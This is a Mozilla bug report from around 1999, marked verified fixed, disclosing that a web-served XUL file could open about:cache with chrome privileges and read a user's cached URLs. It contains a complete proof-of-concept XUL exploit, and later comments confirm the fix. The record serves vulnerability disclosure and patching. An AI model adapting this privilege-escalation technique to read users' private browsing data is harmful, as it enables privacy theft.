9806 - Reading user's cache using XUL and window.open()

Status: VERIFIED FIXED

(SeaMonkey :: General, defect, P3)

Description

[joro]

There is a security vulnerability in Mozilla 5.0 M7 Win95 (guess all platforms),
which allows reading user's cache using XUL and window.open().
The code is:
-----------------------------cache1.xul----------------------------------
<?xml version="1.0"?>
 <!DOCTYPE window>
 <xul:window
   xmlns:html="http://www.w3.org/TR/REC-html40"
   xmlns:xul ="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
   title = "Reading cache">
 <html:script>
   <![CDATA[

   var a=window.open("about:cache","a","chrome");
   dump("Here are some links from your cache:\n");
   for(i=0;i<10;i++)
    dump(a.document.links[i].href+"\n");
   ]]>
 </html:script>

<!--
<html:iframe type="content-primary" src="about:cache" />
-->

<html:hr/>
<html:h3>
Look at the apprunner console to see some URLs in your cache.
</html:h3>
</xul:window>
-------------------------------------------------------------

Comment 1

[Norris Boyd]

So how do you get this XUL to execute? Install on the user's system?

Comment 2

[joro]

This XUL may be exectuted from the web - check
http://www.nat.bg/~joro/mozilla/cache1.xul
The web server must have defined the mime type text/xul for .xul files, that is
why I did not post this url in my original post.

Comment 3

[Norris Boyd]

My fix for 11462 resolved this as well.

Comment 4

[dshea]

Windows NT 1999120208 Comm
JavaScript Error: illegal URL method  about:cache